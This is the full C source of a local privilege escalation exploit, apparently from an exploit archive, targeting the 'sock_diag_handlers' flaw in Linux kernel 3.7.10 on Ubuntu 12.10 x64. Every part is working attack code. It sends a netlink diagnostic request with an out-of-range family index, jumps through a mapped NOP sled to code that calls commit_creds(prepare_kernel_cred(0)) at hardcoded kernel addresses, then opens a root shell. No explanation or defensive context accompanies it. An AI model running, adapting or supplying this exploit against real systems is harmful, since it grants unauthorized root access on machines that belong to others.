Linux Kernel 3.7.10 (Ubuntu 12.10 x64) – ‘sock_diag_handlers’ Local Privilege Escalation (2)
#include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) x() { commit_creds(prepare_kernel_cred(0)); return -1; } char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; int main() { int fd; unsigned long mmap_start, mmap_size = 0x10000; unsigned family; struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; /* Ubuntu 12.10 x86_64 */ req.r.sdiag_family = 0x37; commit_creds = (_commit_creds) 0xffffffff8107d180; prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410; mmap_start = 0x1a000; if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x; memset((void *)mmap_start, 0x90, mmap_size); memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1)); send(fd, &req, sizeof(req), 0); if(!getuid()) system("/bin/sh"); } |